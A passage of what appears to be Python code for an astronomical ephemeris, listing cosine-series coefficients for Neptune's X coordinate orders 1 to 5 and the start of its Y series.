X1 += 0.00000002387 * math.cos(3.61270640757 + 654.3681977991 * self.t)
X1 += 0.00000002439 * math.cos(6.16957116292 + 462.74230389109 * self.t)
X1 += 0.00000002367 * math.cos(4.32238656757 + 107.52937739611 * self.t)
X1 += 0.00000002538 * math.cos(2.61932649618 + 481.2316195559 * self.t)
X1 += 0.00000002479 * math.cos(1.99143603619 + 205.9417309537 * self.t)
X1 += 0.00000002791 * math.cos(0.73480816467 + 24.14975911971 * self.t)
X1 += 0.00000002626 * math.cos(1.16663444616 + 213.0552779545 * self.t)
X1 += 0.00000002445 * math.cos(4.84988920933 + 146.87169909629 * self.t)
X1 += 0.00000002575 * math.cos(1.89431453798 + 86.07111631471 * self.t)
X1 += 0.00000003120 * math.cos(5.91742201237 + 456.36247007319 * self.t)
X1 += 0.00000002587 * math.cos(0.02224873460 + 400.8209466961 * self.t)
X1 += 0.00000002261 * math.cos(4.82066845150 + 644.33388949151 * self.t)
X1 += 0.00000002796 * math.cos(5.01395178381 + 216.67861467689 * self.t)
X1 += 0.00000002896 * math.cos(2.29072801127 + 1685.2959399851 * self.t)
X1 += 0.00000002453 * math.cos(3.24288673382 + 109.9625037359 * self.t)
X1 += 0.00000002325 * math.cos(4.96633817815 + 442.886135597 * self.t)
X1 += 0.00000002387 * math.cos(5.32424727918 + 599.0873068529 * self.t)
X1 += 0.00000002873 * math.cos(3.56351208170 + 834.5326845729 * self.t)
X1 += 0.00000002963 * math.cos(0.77021714990 + 2119.00767786191 * self.t)
X1 += 0.00000002233 * math.cos(5.94426610995 + 709.29362807231 * self.t)
X1 += 0.00000002337 * math.cos(4.30558394222 + 210.5739675049 * self.t)
X1 += 0.00000002259 * math.cos(3.67528651606 + 29.5036467663 * self.t)
X1 += 0.00000002300 * math.cos(0.62755545112 + 986.0534351678 * self.t)
X1 += 0.00000002199 * math.cos(2.78438991669 + 606.2008538537 * self.t)
X1 += 0.00000002325 * math.cos(3.26991047297 + 109.701871305 * self.t)
# Neptune_X2 (t) // 113 terms of order 2
X2 = 0
X2 += 0.01620002167 * math.cos(0.60038473142 + 38.3768531213 * self.t)
X2 += 0.00028138323 * math.cos(5.58440767451 + 0.2438174835 * self.t)
X2 += 0.00012318619 * math.cos(2.58513114618 + 39.86132582961 * self.t)
X2 += 0.00008346956 * math.cos(5.13440715484 + 37.88921815429 * self.t)
X2 += 0.00005131003 * math.cos(5.12974075920 + 76.50988875911 * self.t)
X2 += 0.00004109792 * math.cos(1.46495026130 + 36.892380413 * self.t)
X2 += 0.00001369663 * math.cos(3.55762715050 + 1.7282901918 * self.t)
X2 += 0.00000633706 * math.cos(2.38135108376 + 3.21276290011 * self.t)
X2 += 0.00000583006 * math.cos(1.54592369321 + 41.3457985379 * self.t)
X2 += 0.00000546517 * math.cos(0.70972594452 + 75.0254160508 * self.t)
X2 += 0.00000246224 * math.cos(2.44618778574 + 213.5429129215 * self.t)
X2 += 0.00000159773 * math.cos(1.26414365966 + 206.42936592071 * self.t)
X2 += 0.00000156619 * math.cos(3.61656709171 + 220.6564599223 * self.t)
X2 += 0.00000191674 * math.cos(2.17166123081 + 529.9347825781 * self.t)
X2 += 0.00000188212 * math.cos(4.43184732741 + 35.40790770471 * self.t)
X2 += 0.00000117788 * math.cos(4.12530218101 + 522.8212355773 * self.t)
X2 += 0.00000114488 * math.cos(0.05081176794 + 35.9291725665 * self.t)
X2 += 0.00000112666 * math.cos(0.21220394551 + 537.0483295789 * self.t)
X2 += 0.00000105949 * math.cos(1.13080468733 + 40.8245336761 * self.t)
X2 += 0.00000077696 * math.cos(0.84633184914 + 77.9943614674 * self.t)
X2 += 0.00000090798 * math.cos(2.05479887039 + 73.5409433425 * self.t)
X2 += 0.00000067696 * math.cos(2.44679430551 + 426.8420083595 * self.t)
X2 += 0.00000074860 * math.cos(1.44346648461 + 4.6972356084 * self.t)
X2 += 0.00000064717 * math.cos(6.06001471150 + 34.9202727377 * self.t)
X2 += 0.00000051378 * math.cos(6.13002795973 + 36.404745446 * self.t)
X2 += 0.00000050205 * math.cos(0.67007332287 + 42.83027124621 * self.t)
X2 += 0.00000040929 * math.cos(6.22049348014 + 33.9234349964 * self.t)
X2 += 0.00000036136 * math.cos(6.15460243008 + 98.6561710411 * self.t)
X2 += 0.00000033953 * math.cos(5.02568302050 + 1059.6257476727 * self.t)
X2 += 0.00000034603 * math.cos(3.26702076082 + 76.0222537921 * self.t)
X2 += 0.00000035441 * math.cos(2.49518827466 + 31.2633061205 * self.t)
X2 += 0.00000029614 * math.cos(3.34814694529 + 28.81562556571 * self.t)
X2 += 0.00000031027 * math.cos(4.97087448592 + 45.49040012211 * self.t)
X2 += 0.00000035521 * math.cos(1.13028002523 + 39.3736908626 * self.t)
X2 += 0.00000025488 * math.cos(4.04320892614 + 47.9380806769 * self.t)
X2 += 0.00000020115 * math.cos(3.93227849656 + 1.24065522479 * self.t)
X2 += 0.00000014328 * math.cos(2.73754899228 + 433.9555553603 * self.t)
X2 += 0.00000015503 * math.cos(3.13160557995 + 114.6429243969 * self.t)
X2 += 0.00000016998 * math.cos(0.93393874821 + 33.43580002939 * self.t)
X2 += 0.00000013166 * math.cos(0.39556817176 + 419.72846135871 * self.t)
X2 += 0.00000013053 * math.cos(6.11304367644 + 60.52313540329 * self.t)
X2 += 0.00000010637 * math.cos(5.94332175983 + 34.1840674273 * self.t)
X2 += 0.00000009610 * math.cos(1.65699013342 + 640.1411037975 * self.t)
X2 += 0.00000009354 * math.cos(1.41415954295 + 42.5696388153 * self.t)
X2 += 0.00000011447 * math.cos(6.19793150566 + 71.5688356672 * self.t)
X2 += 0.00000008454 * math.cos(2.75562169800 + 2.7251279331 * self.t)
X2 += 0.00000009012 * math.cos(4.44112001347 + 72.05647063421 * self.t)
X2 += 0.00000009594 * math.cos(5.79483289118 + 69.3963417583 * self.t)
X2 += 0.00000007419 * math.cos(3.49645345230 + 227.77000692311 * self.t)
X2 += 0.00000006800 * math.cos(5.14250085135 + 113.15845168861 * self.t)
X2 += 0.00000006267 * math.cos(0.79586518424 + 1066.7392946735 * self.t)
X2 += 0.00000006895 * math.cos(4.31090775556 + 111.67397898031 * self.t)
X2 += 0.00000005770 * math.cos(1.23253284004 + 32.4389622881 * self.t)
X2 += 0.00000005686 * math.cos(2.23805923850 + 30.300098274 * self.t)
X2 += 0.00000006679 * math.cos(4.85529332414 + 258.78949556011 * self.t)
X2 += 0.00000007799 * math.cos(1.58396135295 + 7.3573644843 * self.t)
X2 += 0.00000005906 * math.cos(5.92485931723 + 44.31474395451 * self.t)
X2 += 0.00000005606 * math.cos(5.17941805418 + 46.4536079686 * self.t)
X2 += 0.00000005525 * math.cos(3.61911776351 + 1052.51220067191 * self.t)
X2 += 0.00000007257 * math.cos(0.17315189128 + 1097.7587833105 * self.t)
X2 += 0.00000005427 * math.cos(1.80586256737 + 105.76971804189 * self.t)
X2 += 0.00000005179 * math.cos(4.25986194250 + 515.70768857651 * self.t)
X2 += 0.00000005163 * math.cos(6.27919257182 + 7.83293736379 * self.t)
X2 += 0.00000004688 * math.cos(2.52139212878 + 222.14093263061 * self.t)
X2 += 0.00000005379 * math.cos(5.86341629561 + 22.3900997655 * self.t)
X2 += 0.00000004607 * math.cos(4.89100806572 + 549.1603035533 * self.t)
X2 += 0.00000004101 * math.cos(0.29016053329 + 213.0552779545 * self.t)
X2 += 0.00000004262 * math.cos(5.51395238453 + 204.9448932124 * self.t)
X2 += 0.00000003916 * math.cos(0.21419544093 + 207.913838629 * self.t)
X2 += 0.00000004089 * math.cos(4.97684127402 + 304.84171947829 * self.t)
X2 += 0.00000003729 * math.cos(1.40848954224 + 199.3158189199 * self.t)
X2 += 0.00000003680 * math.cos(5.54809318630 + 1589.3167127673 * self.t)
X2 += 0.00000003702 * math.cos(1.01863119774 + 319.06881347989 * self.t)
X2 += 0.00000004832 * math.cos(1.26423594188 + 215.0273856298 * self.t)
X2 += 0.00000003474 * math.cos(1.17401543445 + 103.3365917021 * self.t)
X2 += 0.00000003298 * math.cos(0.10619126376 + 544.1618765797 * self.t)
X2 += 0.00000004521 * math.cos(0.07911565781 + 108.2173985967 * self.t)
X2 += 0.00000003967 * math.cos(2.67776762695 + 944.7390057923 * self.t)
X2 += 0.00000004059 * math.cos(3.01104350847 + 149.8070146181 * self.t)
X2 += 0.00000004009 * math.cos(5.61852534309 + 533.1161763158 * self.t)
X2 += 0.00000003288 * math.cos(1.44957894842 + 407.9344936969 * self.t)
X2 += 0.00000003976 * math.cos(5.00221858099 + 526.7533888404 * self.t)
X2 += 0.00000003343 * math.cos(0.65785646071 + 531.4192552864 * self.t)
X2 += 0.00000003932 * math.cos(3.66244745467 + 91.54262404029 * self.t)
X2 += 0.00000003478 * math.cos(6.19876429652 + 6.1817083167 * self.t)
X2 += 0.00000002967 * math.cos(1.04478648324 + 860.55374623631 * self.t)
X2 += 0.00000003058 * math.cos(0.02482940557 + 342.9747551161 * self.t)
X2 += 0.00000003974 * math.cos(2.04910269520 + 335.8612081153 * self.t)
X2 += 0.00000002849 * math.cos(0.86611245106 + 666.4801717735 * self.t)
X2 += 0.00000002999 * math.cos(1.27874757189 + 937.62545879149 * self.t)
X2 += 0.00000003008 * math.cos(5.16783990611 + 74.53778108379 * self.t)
X2 += 0.00000003080 * math.cos(3.04902400148 + 129.6756596781 * self.t)
X2 += 0.00000003346 * math.cos(4.64303639862 + 1162.7185218913 * self.t)
X2 += 0.00000002625 * math.cos(1.69459459452 + 273.8222308413 * self.t)
X2 += 0.00000002931 * math.cos(1.57809055514 + 235.68919520349 * self.t)
X2 += 0.00000002579 * math.cos(0.48473918174 + 1073.85284167431 * self.t)
X2 += 0.00000002550 * math.cos(6.14366282644 + 26.58288545949 * self.t)
X2 += 0.00000002542 * math.cos(4.22297682017 + 1265.81129610991 * self.t)
X2 += 0.00000002483 * math.cos(1.73279038376 + 453.1810763355 * self.t)
X2 += 0.00000002732 * math.cos(1.76626805419 + 563.38739755489 * self.t)
X2 += 0.00000002508 * math.cos(1.67664275102 + 37.8555882595 * self.t)
X2 += 0.00000002508 * math.cos(0.34076894500 + 425.35753565121 * self.t)
X2 += 0.00000002680 * math.cos(5.74609617365 + 454.6655490438 * self.t)
X2 += 0.00000002511 * math.cos(3.15018930028 + 209.6107596584 * self.t)
X2 += 0.00000002512 * math.cos(1.74477024139 + 217.4750661846 * self.t)
X2 += 0.00000002552 * math.cos(5.67032305105 + 79.47883417571 * self.t)
X2 += 0.00000002457 * math.cos(2.67033044982 + 38.89811798311 * self.t)
X2 += 0.00000002343 * math.cos(1.93599816349 + 981.3875687218 * self.t)
X2 += 0.00000002501 * math.cos(1.67412173715 + 669.4009330803 * self.t)
X2 += 0.00000002330 * math.cos(3.95065162563 + 38.32866901151 * self.t)
X2 += 0.00000002327 * math.cos(0.39474993260 + 38.4250372311 * self.t)
X2 += 0.00000002481 * math.cos(5.56752927904 + 655.1738390787 * self.t)
X2 += 0.00000002569 * math.cos(4.22623902188 + 464.97504399731 * self.t)
# Neptune_X3 (t) // 37 terms of order 3
X3 = 0
X3 += 0.00000985355 * math.cos(0.69240373955 + 38.3768531213 * self.t)
X3 += 0.00000482798 * math.cos(0.83271959724 + 37.88921815429 * self.t)
X3 += 0.00000416447 * math.cos(0.37037561694 + 0.2438174835 * self.t)
X3 += 0.00000303825 * math.cos(0.53797420117 + 39.86132582961 * self.t)
X3 += 0.00000089203 * math.cos(1.52338099991 + 36.892380413 * self.t)
X3 += 0.00000070862 * math.cos(5.83899744010 + 76.50988875911 * self.t)
X3 += 0.00000028900 * math.cos(5.65001946959 + 41.3457985379 * self.t)
X3 += 0.00000022279 * math.cos(2.95886685234 + 206.42936592071 * self.t)
X3 += 0.00000021480 * math.cos(1.87359273442 + 220.6564599223 * self.t)
X3 += 0.00000016157 * math.cos(5.83581915834 + 522.8212355773 * self.t)
X3 += 0.00000015714 * math.cos(4.76719570238 + 537.0483295789 * self.t)
X3 += 0.00000011404 * math.cos(2.25961154910 + 35.40790770471 * self.t)
X3 += 0.00000013199 * math.cos(0.06057423298 + 7.3573644843 * self.t)
X3 += 0.00000007024 * math.cos(0.69890179308 + 3.21276290011 * self.t)
X3 += 0.00000006772 * math.cos(1.19679143435 + 69.3963417583 * self.t)
X3 += 0.00000004517 * math.cos(3.28893027439 + 45.49040012211 * self.t)
X3 += 0.00000004523 * math.cos(4.18705629066 + 31.2633061205 * self.t)
X3 += 0.00000003682 * math.cos(1.47261975259 + 98.6561710411 * self.t)
X3 += 0.00000003656 * math.cos(0.60146659814 + 968.64494742849 * self.t)
X3 += 0.00000003927 * math.cos(0.54740561653 + 426.8420083595 * self.t)
X3 += 0.00000003199 * math.cos(1.67327016260 + 1519.6765535255 * self.t)
X3 += 0.00000003498 * math.cos(3.27476696786 + 407.9344936969 * self.t)
X3 += 0.00000003304 * math.cos(2.24745680549 + 422.1615876985 * self.t)
X3 += 0.00000003331 * math.cos(1.97045240379 + 36.404745446 * self.t)
X3 += 0.00000003244 * math.cos(2.85168281358 + 484.2005649725 * self.t)
X3 += 0.00000002689 * math.cos(0.89932845788 + 441.06910236111 * self.t)
X3 += 0.00000003247 * math.cos(1.76512860403 + 498.42765897409 * self.t)
X3 += 0.00000002651 * math.cos(0.45669916115 + 304.84171947829 * self.t)
X3 += 0.00000002645 * math.cos(5.61672793904 + 461.77909604459 * self.t)
X3 += 0.00000002542 * math.cos(5.76347018476 + 444.5830566264 * self.t)
X3 += 0.00000002524 * math.cos(0.75739625090 + 433.9555553603 * self.t)
X3 += 0.00000002472 * math.cos(5.63416184223 + 319.06881347989 * self.t)
X3 += 0.00000002355 * math.cos(0.46192754883 + 447.552002043 * self.t)
X3 += 0.00000002876 * math.cos(5.22513442854 + 853.4401992355 * self.t)
X3 += 0.00000002279 * math.cos(4.63709500769 + 458.810150628 * self.t)
X3 += 0.00000002147 * math.cos(2.63611189369 + 175.40987728371 * self.t)
X3 += 0.00000002637 * math.cos(3.63693499332 + 73.5409433425 * self.t)
# Neptune_X4 (t) // 14 terms of order 4
X4 = 0
X4 += 0.00003455306 * math.cos(3.61464892215 + 38.3768531213 * self.t)
X4 += 0.00000047405 * math.cos(2.21390996774 + 0.2438174835 * self.t)
X4 += 0.00000021936 * math.cos(2.72972488197 + 37.88921815429 * self.t)
X4 += 0.00000015596 * math.cos(1.87854121560 + 76.50988875911 * self.t)
X4 += 0.00000017186 * math.cos(5.53785371687 + 39.86132582961 * self.t)
X4 += 0.00000017459 * math.cos(4.82899740364 + 36.892380413 * self.t)
X4 += 0.00000004229 * math.cos(1.43245860878 + 515.70768857651 * self.t)
X4 += 0.00000004334 * math.cos(5.41648117577 + 433.9555553603 * self.t)
X4 += 0.00000003547 * math.cos(5.75561157107 + 989.98558843089 * self.t)
X4 += 0.00000003155 * math.cos(4.85322840051 + 467.40817033709 * self.t)
X4 += 0.00000003017 * math.cos(0.06479449145 + 227.77000692311 * self.t)
X4 += 0.00000002981 * math.cos(0.29920864811 + 1.7282901918 * self.t)
X4 += 0.00000002295 * math.cos(0.13749342692 + 220.6564599223 * self.t)
X4 += 0.00000002296 * math.cos(4.70646260044 + 206.42936592071 * self.t)
# Neptune_X5 (t) // 1 term of order 5
X5 = 0
X5 += 0.00000026291 * math.cos(3.71724730200 + 38.3768531213 * self.t)
X = (X0+
X1*self.t+
X2*self.t*self.t+
X3*self.t*self.t*self.t+
X4*self.t*self.t*self.t*self.t+
X5*self.t*self.t*self.t*self.t*self.t)
# Neptune_Y0 (t) // 821 terms of order 0
Y0 = 0
Y0 += 30.05973100580 * math.cos(3.74109000403 + 38.3768531213 * self.t)
Y0 += 0.40567587218 * math.cos(2.41070337452 + 0.2438174835 * self.t)
Y0 += 0.13506026414 * math.cos(1.92976188293 + 76.50988875911 * self.t)
Y0 += 0.15716341901 * math.cos(4.82548976006 + 36.892380413 * self.t)
Y0 += 0.14935642614 * math.cos(5.79716600101 + 39.86132582961 * self.t)
Y0 += 0.02590782232 * math.cos(0.42530135542 + 1.7282901918 * self.t)
Y0 += 0.01073890204 * math.cos(3.81397520876 + 75.0254160508 * self.t)
Y0 += 0.00816388197 * math.cos(5.49424416077 + 3.21276290011 * self.t)
Y0 += 0.00702768075 * math.cos(6.16602540157 + 35.40790770471 * self.t)
Y0 += 0.00687594822 * math.cos(2.29155372023 + 37.88921815429 * self.t)
Y0 += 0.00565555652 * math.cos(4.41864141199 + 41.3457985379 * self.t)
Y0 += 0.00495650075 * math.cos(5.31196432386 + 529.9347825781 * self.t)
Y0 += 0.00306025380 * math.cos(5.11155686178 + 73.5409433425 * self.t)
Y0 += 0.00272446904 * math.cos(5.58643013675 + 213.5429129215 * self.t)
Y0 += 0.00135892298 * math.cos(3.97575347243 + 77.9943614674 * self.t)
Y0 += 0.00122117697 * math.cos(2.87943509460 + 34.9202727377 * self.t)
Y0 += 0.00090968285 * math.cos(0.11807115994 + 114.6429243969 * self.t)
Y0 += 0.00068915400 * math.cos(4.26390741720 + 4.6972356084 * self.t)
Y0 += 0.00040370680 * math.cos(1.09050058383 + 33.9234349964 * self.t)
Y0 += 0.00028891307 * math.cos(3.21868082836 + 42.83027124621 * self.t)
Y0 += 0.00029247752 * math.cos(0.05239890051 + 72.05647063421 * self.t)
Y0 += 0.00025576289 * math.cos(3.05422599686 + 71.5688356672 * self.t)
Y0 += 0.00020517968 * math.cos(4.12700709797 + 33.43580002939 * self.t)
Y0 += 0.00012614154 * math.cos(1.99850111659 + 113.15845168861 * self.t)
Y0 += 0.00012788929 * math.cos(1.16690001367 + 111.67397898031 * self.t)
Y0 += 0.00012013477 * math.cos(5.66154697546 + 1059.6257476727 * self.t)
Y0 += 0.00009854638 * math.cos(1.82793273920 + 36.404745446 * self.t)
Y0 += 0.00008385825 * math.cos(3.22321843541 + 108.2173985967 * self.t)
Y0 += 0.00007577585 * math.cos(4.81209675667 + 426.8420083595 * self.t)
Y0 += 0.00006452053 * math.cos(3.05476893393 + 6.1817083167 * self.t)
Y0 += 0.00006551074 * math.cos(3.48963683470 + 1.24065522479 * self.t)
Y0 += 0.00004652534 * math.cos(4.81582901104 + 37.8555882595 * self.t)
Y0 += 0.00004732958 * math.cos(2.52632268239 + 79.47883417571 * self.t)
Y0 += 0.00004557247 * math.cos(5.80951559837 + 38.89811798311 * self.t)
Y0 += 0.00004322550 * math.cos(0.80665146695 + 38.32866901151 * self.t)
Y0 += 0.00004315539 * math.cos(3.53393508109 + 38.4250372311 * self.t)
Y0 += 0.00004089036 * math.cos(0.42349431022 + 37.4136452748 * self.t)
Y0 += 0.00004248658 * math.cos(4.06300076615 + 28.81562556571 * self.t)
Y0 += 0.00004622142 * math.cos(4.31075084247 + 70.08436295889 * self.t)
Y0 += 0.00003926447 * math.cos(3.91895428213 + 39.34006096781 * self.t)
Y0 += 0.00003148422 * math.cos(0.47516466537 + 76.0222537921 * self.t)
Y0 += 0.00003940981 * math.cos(3.86846009370 + 98.6561710411 * self.t)
Y0 += 0.00003323363 * math.cos(3.11696612599 + 4.4366031775 * self.t)
Y0 += 0.00003282964 * math.cos(4.38630915294 + 39.3736908626 * self.t)
Y0 += 0.00003110464 * math.cos(0.27337264525 + 47.9380806769 * self.t)
Y0 += 0.00002927062 * math.cos(1.26687681282 + 70.5719979259 * self.t)
Y0 += 0.00002748919 * math.cos(2.29910620256 + 32.4389622881 * self.t)
Y0 += 0.00003316668 * math.cos(3.39273716880 + 144.8659615262 * self.t)
Y0 += 0.00002822405 * math.cos(5.35210680933 + 31.9513273211 * self.t)
Y0 += 0.00002695972 * math.cos(2.28196668869 + 110.189506272 * self.t)
Y0 += 0.00002522990 * math.cos(6.23388252645 + 311.9552664791 * self.t)
Y0 += 0.00001888129 * math.cos(1.63385050550 + 35.9291725665 * self.t)
Y0 += 0.00001648229 * math.cos(2.49960621702 + 30.300098274 * self.t)
Y0 += 0.00001826545 * math.cos(2.00941496239 + 44.31474395451 * self.t)
Y0 += 0.00001956241 * math.cos(2.57436514192 + 206.42936592071 * self.t)
Y0 += 0.00001681257 * math.cos(2.70480495091 + 40.8245336761 * self.t)
Y0 += 0.00001533383 * math.cos(5.88971111646 + 38.26497853671 * self.t)
Y0 += 0.00001893076 * math.cos(5.46256301015 + 220.6564599223 * self.t)
Y0 += 0.00001527526 * math.cos(4.73412536340 + 38.4887277059 * self.t)
Y0 += 0.00002085691 * math.cos(6.28187170642 + 149.8070146181 * self.t)
Y0 += 0.00002070612 * math.cos(4.39661439400 + 136.78920667889 * self.t)
Y0 += 0.00001535699 * math.cos(2.18492948354 + 73.0533083755 * self.t)
Y0 += 0.00001667976 * math.cos(4.48792091670 + 106.73292588839 * self.t)
Y0 += 0.00001289620 * math.cos(1.82629228420 + 46.4536079686 * self.t)
Y0 += 0.00001559811 * math.cos(5.27109740006 + 38.11622069041 * self.t)
Y0 += 0.00001545705 * math.cos(5.35267674075 + 38.6374855522 * self.t)
Y0 += 0.00001435033 * math.cos(5.44094847718 + 522.8212355773 * self.t)
Y0 += 0.00001406206 * math.cos(2.04637394879 + 537.0483295789 * self.t)
Y0 += 0.00001256446 * math.cos(1.13828126057 + 34.1840674273 * self.t)
Y0 += 0.00001387973 * math.cos(2.14763765402 + 116.12739710521 * self.t)
Y0 += 0.00001457739 * math.cos(3.56061267693 + 181.5145244557 * self.t)
Y0 += 0.00001228429 * math.cos(1.21566711155 + 72.31710306511 * self.t)
Y0 += 0.00001140665 * math.cos(5.53723346032 + 7.83293736379 * self.t)
Y0 += 0.00001080801 * math.cos(3.18403832376 + 42.5696388153 * self.t)
Y0 += 0.00001201409 * math.cos(2.31627619186 + 2.7251279331 * self.t)
Y0 += 0.00001228671 * math.cos(1.08170099047 + 148.32254190981 * self.t)
Y0 += 0.00000722014 * math.cos(4.59727081765 + 152.77596003471 * self.t)
Y0 += 0.00000608545 * math.cos(2.92457352888 + 35.4560918145 * self.t)
Y0 += 0.00000722865 * math.cos(4.66419895504 + 143.38148881789 * self.t)
Y0 += 0.00000632820 * math.cos(1.84622497362 + 7.66618102501 * self.t)
Y0 += 0.00000642369 * math.cos(5.54570420373 + 68.5998902506 * self.t)
Y0 += 0.00000553789 * math.cos(1.41527095431 + 41.2976144281 * self.t)
Y0 += 0.00000682276 * math.cos(3.72885979362 + 218.1630873852 * self.t)
Y0 += 0.00000463186 * math.cos(1.17340921668 + 31.7845709823 * self.t)
Y0 += 0.00000521560 * math.cos(1.91893273311 + 0.719390363 * self.t)
Y0 += 0.00000437892 * math.cos(6.01046620661 + 1589.3167127673 * self.t)
Y0 += 0.00000398091 * math.cos(0.79544793472 + 6.3484646555 * self.t)
Y0 += 0.00000384065 * math.cos(3.15552603467 + 44.96913526031 * self.t)
Y0 += 0.00000395583 * math.cos(3.48448044710 + 108.70503356371 * self.t)
Y0 += 0.00000327446 * math.cos(4.26279342171 + 60.52313540329 * self.t)
Y0 += 0.00000358824 * math.cos(0.28673200218 + 30.4668546128 * self.t)
Y0 += 0.00000315179 * math.cos(1.74548132888 + 74.53778108379 * self.t)
Y0 += 0.00000343384 * math.cos(0.17566264278 + 0.7650823453 * self.t)
Y0 += 0.00000399611 * math.cos(3.76461168231 + 31.2633061205 * self.t)
Y0 += 0.00000314611 * math.cos(1.41723391958 + 419.72846135871 * self.t)
Y0 += 0.00000347596 * math.cos(4.83723596339 + 180.03005174739 * self.t)
Y0 += 0.00000382279 * math.cos(1.78844211361 + 487.1213262793 * self.t)
Y0 += 0.00000300918 * math.cos(2.47842979419 + 69.0875252176 * self.t)
Y0 += 0.00000340448 * math.cos(2.33467216950 + 146.8380692015 * self.t)
Y0 += 0.00000298710 * math.cos(3.60933906971 + 84.5866436064 * self.t)
Y0 += 0.00000290629 * math.cos(0.17794042595 + 110.45013870291 * self.t)
Y0 += 0.00000336211 * math.cos(0.57735466050 + 45.49040012211 * self.t)
Y0 += 0.00000305606 * math.cos(4.06185849299 + 640.1411037975 * self.t)
Y0 += 0.00000333702 * math.cos(3.90017949649 + 254.8116503147 * self.t)
Y0 += 0.00000268060 * math.cos(1.73772568979 + 37.0042549976 * self.t)
Y0 += 0.00000264760 * math.cos(2.55644426185 + 39.749451245 * self.t)
Y0 += 0.00000315240 * math.cos(1.15162155813 + 388.70897272171 * self.t)
Y0 += 0.00000227098 * math.cos(6.16236913832 + 273.8222308413 * self.t)
Y0 += 0.00000306112 * math.cos(0.18265553789 + 6283.3196674749 * self.t)
Y0 += 0.00000284373 * math.cos(1.79060192705 + 12.77399045571 * self.t)
Y0 += 0.00000221105 * math.cos(5.08019996555 + 213.0552779545 * self.t)
Y0 += 0.00000242568 * math.cos(0.49358017330 + 14.258463164 * self.t)
Y0 += 0.00000241087 * math.cos(5.73194988554 + 105.2484531801 * self.t)
Y0 += 0.00000226136 * math.cos(1.26736306174 + 80.963306884 * self.t)
Y0 += 0.00000245904 * math.cos(5.25701422242 + 27.3311528574 * self.t)
Y0 += 0.00000265825 * math.cos(5.68032293038 + 944.7390057923 * self.t)
Y0 += 0.00000207893 * math.cos(3.50733218656 + 30.95448957981 * self.t)
Y0 += 0.00000214661 * math.cos(1.08322862012 + 316.6356871401 * self.t)
Y0 += 0.00000190638 * math.cos(0.75588071076 + 69.3963417583 * self.t)
Y0 += 0.00000246295 * math.cos(3.55718121196 + 102.84895673509 * self.t)
Y0 += 0.00000202915 * math.cos(2.17108892757 + 415.04804069769 * self.t)
Y0 += 0.00000176465 * math.cos(4.85970190916 + 36.7805058284 * self.t)
Y0 += 0.00000193886 * math.cos(4.92555932032 + 174.9222423167 * self.t)
Y0 += 0.00000175209 * math.cos(5.83814591553 + 39.97320041421 * self.t)
Y0 += 0.00000177868 * math.cos(5.01003024093 + 216.67861467689 * self.t)
Y0 += 0.00000138494 * math.cos(3.88186287753 + 75.98862389731 * self.t)
Y0 += 0.00000152234 * math.cos(3.24582472092 + 11.2895177474 * self.t)
Y0 += 0.00000147648 * math.cos(0.11464073993 + 151.2914873264 * self.t)
Y0 += 0.00000156202 * math.cos(5.22332207731 + 146.3504342345 * self.t)
Y0 += 0.00000152289 * math.cos(1.64425361444 + 23.87457247379 * self.t)
Y0 += 0.00000177911 * math.cos(1.60563922042 + 10213.5293636945 * self.t)
Y0 += 0.00000162474 * math.cos(2.56271758700 + 63.9797157869 * self.t)
Y0 += 0.00000121226 * math.cos(3.53504653517 + 38.16440480021 * self.t)
Y0 += 0.00000129049 * math.cos(2.23605274276 + 37.1048287341 * self.t)
Y0 += 0.00000120334 * math.cos(0.80557581782 + 38.5893014424 * self.t)
Y0 += 0.00000168977 * math.cos(4.06631471177 + 291.4602132442 * self.t)
Y0 += 0.00000121138 * math.cos(6.20896007337 + 33.26904369061 * self.t)
Y0 += 0.00000129366 * math.cos(0.79823378243 + 45.7992166628 * self.t)
Y0 += 0.00000144682 * math.cos(5.34262329825 + 49.42255338521 * self.t)
Y0 += 0.00000122915 * math.cos(2.10353894081 + 39.6488775085 * self.t)
Y0 += 0.00000113400 * math.cos(5.13399083059 + 83.1021708981 * self.t)
Y0 += 0.00000154892 * math.cos(0.17909436973 + 77.4730966056 * self.t)
Y0 += 0.00000106737 * math.cos(2.14516700774 + 4.8639919472 * self.t)
Y0 += 0.00000104756 * math.cos(4.39192437833 + 43.484662552 * self.t)
Y0 += 0.00000125142 * math.cos(1.11541363958 + 4.2096006414 * self.t)
Y0 += 0.00000103541 * math.cos(3.68555108825 + 41.08516610701 * self.t)
Y0 += 0.00000133573 * math.cos(5.49226848460 + 182.998997164 * self.t)
Y0 += 0.00000103627 * math.cos(0.72176478921 + 35.6685401356 * self.t)
Y0 += 0.00000116874 * math.cos(3.84298763857 + 62.4952430786 * self.t)
Y0 += 0.00000098063 * math.cos(1.68574394986 + 9.8050450391 * self.t)
Y0 += 0.00000111411 * math.cos(5.91424942326 + 141.8970161096 * self.t)
Y0 += 0.00000114294 * math.cos(3.99149302956 + 633.0275567967 * self.t)
Y0 += 0.00000104705 * math.cos(4.68992506677 + 433.9555553603 * self.t)
Y0 += 0.00000121306 * math.cos(3.01971978017 + 40.8581635709 * self.t)
Y0 += 0.00000096954 * math.cos(4.60293836623 + 1052.51220067191 * self.t)
Y0 += 0.00000085104 * math.cos(3.21938589681 + 36.6799320919 * self.t)
Y0 += 0.00000085209 * math.cos(1.23258290286 + 105.76971804189 * self.t)
Y0 += 0.00000085291 * math.cos(4.16574840077 + 109.701871305 * self.t)
Y0 += 0.00000083260 * math.cos(1.57705309557 + 529.44714761109 * self.t)
Y0 += 0.00000080200 * math.cos(1.12120137014 + 40.07377415071 * self.t)
Y0 += 0.00000107927 * math.cos(4.72809768120 + 1162.7185218913 * self.t)
Y0 += 0.00000095241 * math.cos(5.18181889280 + 253.32717760639 * self.t)
Y0 += 0.00000089535 * math.cos(1.68098752171 + 32.9602271499 * self.t)
Y0 += 0.00000089793 * math.cos(1.19350927545 + 65.46418849521 * self.t)
Y0 += 0.00000072027 * math.cos(4.82605474115 + 36.9405645228 * self.t)
Y0 += 0.00000080381 * math.cos(0.49818419813 + 67.1154175423 * self.t)
Y0 += 0.00000099502 * math.cos(4.10090280616 + 453.1810763355 * self.t)
Y0 += 0.00000088685 * math.cos(6.05087292163 + 251.6759485593 * self.t)
Y0 += 0.00000094971 * math.cos(5.68681980258 + 219.6475600935 * self.t)
Y0 += 0.00000077015 * math.cos(3.73580633492 + 5.6604434549 * self.t)
Y0 += 0.00000069098 * math.cos(3.42063825132 + 22.3900997655 * self.t)
Y0 += 0.00000079079 * math.cos(5.69904586697 + 44.48150029329 * self.t)
Y0 += 0.00000069159 * math.cos(2.38821700872 + 1066.7392946735 * self.t)
Y0 += 0.00000064446 * math.cos(2.45996531968 + 66.9486612035 * self.t)
